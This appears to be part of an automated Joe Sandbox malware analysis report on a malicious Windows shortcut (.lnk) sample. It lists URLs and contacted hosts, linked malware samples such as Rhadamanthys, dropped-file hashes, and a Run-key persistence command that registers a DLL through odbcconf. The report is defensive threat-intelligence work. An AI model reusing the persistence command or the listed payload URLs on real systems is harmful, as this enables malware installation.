https://docsend.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.4187390208.000001B9E5DA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4187390208.000001B9E5C5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E080000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50F8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000004.00000002.1736992036.000002D50F595000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.5.dr	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/abuse/fingerprintjs_component-vflTizAkf.c	7z.exe.2.dr, helper.zip.2.dr	false		high
https://showcase.dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/serviceworker/	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D7686000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1736992036.000002D50F887000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/maestro_appshell_styles-vflfNNLV5.css	7z.exe.2.dr, helper.zip.2.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1736992036.000002D50F887000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.4130507147.000001B9D6821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1753117951.000002D51E1C3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/google_one_tap-vflp9XDLJ.css	7z.exe.2.dr, helper.zip.2.dr	false		high
http://crl.ver)	svchost.exe, 00000006.00000002.3426795671.0000020DA8A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.2.dr	false		high
https://www.dropbox.com/v/s/playlist/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dropbox.c	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www-env.dropbox-dns.com	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D76A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1736992036.000002D50F887000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/images/favicon.ico	7z.exe.2.dr, helper.zip.2.dr	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/js/comments2/index-vflQdvUHu.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://docs.sandbox.google.com/spreadsheets/fsip/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/js/alameda_bundle/alameda_bundle_ie_en-vflm4_	7z.exe.2.dr, helper.zip.2.dr	false		high
https://docs.google.com/document/fsip/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canny.io/sdk.js	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com	powershell.exe, 00000002.00000002.4130507147.000001B9D6821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/dig-components/index.web-vfl9S1OpT.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://raw.githubusercontent.com	powershell.exe, 00000002.00000002.4130507147.000001B9D71D0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/error-vflFJkh4x.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.4130507147.000001B9D5BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1736992036.000002D50E011000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/app_actions/index-vflwwzTNE.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://www.paypal.com/sdk/js	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/foundation-vflH6wwwv.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://oneget.org	powershell.exe, 00000004.00000002.1736992036.000002D50F595000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/dig/fonts-vflMHuSEC.css	7z.exe.2.dr, helper.zip.2.dr	false		high
https://docs.google.com/spreadsheets/fsip/	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	powershell.exe, 00000002.00000002.4130507147.000001B9D7703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.4130507147.000001B9D786C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.125.65.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false
185.199.108.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576703
Start date and time:	2024-12-17 12:26:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	mjjt5kTb4o.lnk renamed because original name is a hash value
Original Sample Name:	592a1fd0840fab1915a85c82a4c0cb2f657cbae4c99ec2dbf39bc332555cdd83.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@27/51@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 3 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .lnk Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 23.32.239.9, 2.19.198.27, 23.32.239.65, 23.218.208.137, 2.20.68.228, 2.20.68.207, 162.159.61.3, 172.64.41.3, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 23.218.208.109, 23.203.161.57, 199.232.214.172, 2.19.198.16, 2.19.198.10, 23.32.239.56, 23.32.238.123, 23.32.238.114, 23.32.238.129, 23.32.238.107, 23.32.238.121, 23.32.238.115, 23.32.238.113, 23.32.238.136, 23.32.238.128, 23.32.238.137, 23.32.238.152, 23.32.238.161, 23.32.238.160, 23.32.238.146, 23.32.238.144, 23.32.238.155, 23.32.238.163, 23.32.238.145, 23.32.238.154, 23.32.238.88, 23.32.238.98, 23.32.238.97, 23.32.238.89, 23.32.238.90, 23.32.238.120, 23.32.238.106, 52.22.41.97, 23.47.168.24, 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 1744 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6884 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: mjjt5kTb4o.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:27:00	API Interceptor	14026138x Sleep call for process: powershell.exe modified
06:27:07	API Interceptor	3x Sleep call for process: svchost.exe modified
06:27:17	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
11:27:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsHelper odbcconf /a {REGSVR "C:\helper\ps2.dll"}
11:27:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WindowsHelper odbcconf /a {REGSVR "C:\helper\ps2.dll"}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.125.65.18	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
185.199.108.133	cr_asm.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gaber.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	185.199.108.133
	uZgbejeJkT.bat	Get hash	malicious	Unknown	Browse	185.199.108.133
	ni2OwV1y9u.bat	Get hash	malicious	Unknown	Browse	185.199.108.133
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	185.199.109.133
	GdGXG0bnxH.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	LaRHzSijsq.exe	Get hash	malicious	DCRat	Browse	185.199.109.133
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.109.133
	c56uoWlDXp.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	185.199.110.133
	svhost.vbs	Get hash	malicious	Unknown	Browse	185.199.111.133
www-env.dropbox-dns.com	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.65.18
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.65.18
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.125.65.18
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.65.18
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.18
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
bg.microsoft.map.fastly.net	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.214.172
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	sEOELQpFOB.lnk	Get hash	malicious	RedLine	Browse	199.232.210.172
	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	199.232.214.172
	payload_1.hta	Get hash	malicious	RedLine	Browse	199.232.210.172
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	BKT2HSG6sZ.exe	Get hash	malicious	RedLine	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DROPBOXUS	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse	162.125.69.15
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.125.69.15
FASTLYUS	https://atc-secure.com/nocod/wetransdnyd.html#k.muench@muenchundmuench.com	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse	151.101.65.229
	IAK4Rn3bfO.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.192.209
	https://aweitapp.com/zeng/advance/auth	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://eol-group.jimdosite.com/?utm_source=newsletter&utm_medium=email&utm_campaign=ce	Get hash	malicious	HTMLPhisher	Browse	151.101.130.79
	setup.msi	Get hash	malicious	AteraAgent	Browse	199.232.214.172
	kjDPynh9vQ.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	kjDPynh9vQ.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	151.101.193.137
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133 162.125.65.18
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133 162.125.65.18
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133 162.125.65.18
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133 162.125.65.18
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133 162.125.65.18
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	185.199.108.133 162.125.65.18
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	185.199.108.133 162.125.65.18
	dP5z8RpEyQ.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	185.199.108.133 162.125.65.18
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	185.199.108.133 162.125.65.18
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	185.199.108.133 162.125.65.18

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf47b60b0, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42227007025082763
Encrypted:	false
SSDEEP:	1536:XSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:Xazag03A2UrzJDO
MD5:	174098EEAE82C43CEC23DDBC18D7D879
SHA1:	102C4F48B7CBDFE22457CD09ECBD2F00102D03FF
SHA-256:	A9E58B38E0CBCCBED869E4F167436AE1990374C56E7B63ECDEE7C81592D99B8E
SHA-512:	E08295AE91BC1EBEC079F22E0CEF23CF1F4E07BCA266AA69B9455D06C8870DD983163BA217B0E049AC0538D846E598199CDF0EA65B5D0350CFE9A354833353F0
Malicious:	false
Preview:	.{`.... .......Y.......X\...;...{......................n.%..........\|.......\|..h.#..........\|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................S.......\|...................m......\|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4a0e30.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bde1385e-342f-4731-8a39-b2cacc6e058b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.975350042119406
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqcwsBdOg2H5Zcaq3QYiubInP7E4TX:Y2sRds1ldMH5g3QYhbG7n7
MD5:	A811F2F9EA28C643E6ECAF3BF4F91A40
SHA1:	D9B1D6BA98EA2AAB309EE9E39E65B3D807CC3B07
SHA-256:	A46E098C1E42C3230F58FD51BE07F13B4C88687366F063B33FD5581730D0E38A
SHA-512:	873B6BF8A5285C4B594BAC3B4F290A8B3722E98957D2C87F865F057E22E28E96CF48FB386C6BCD2F2465FBE62485B0DAA78346CD3C6C657FF4198304BB30AB70
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378994837755091","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":622795},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cebf26e3-7c48-4f9a-8d5c-a35be6f90149.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444582974438782
Encrypted:	false
SSDEEP:	384:yezci5tbiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rYs3OazzU89UTTgUL
MD5:	22AF313C429324D5C70729FA4AFE71DE
SHA1:	3D0435718A3C50E0629FCEE578AF7B9D2EFC1A4E
SHA-256:	87F42B8DE57AC7399C4F5342A6C3823FE62C8F33ED9E50A044F1E0E86EEC0C2B
SHA-512:	F178A65140B0C7DECA05B19652E24EDF3427B627A69B4EA9824923776050A8384F370B39E98B77032A29A1A176CAFBC8EF16985416AAA53C15F1F607A0E5C03B
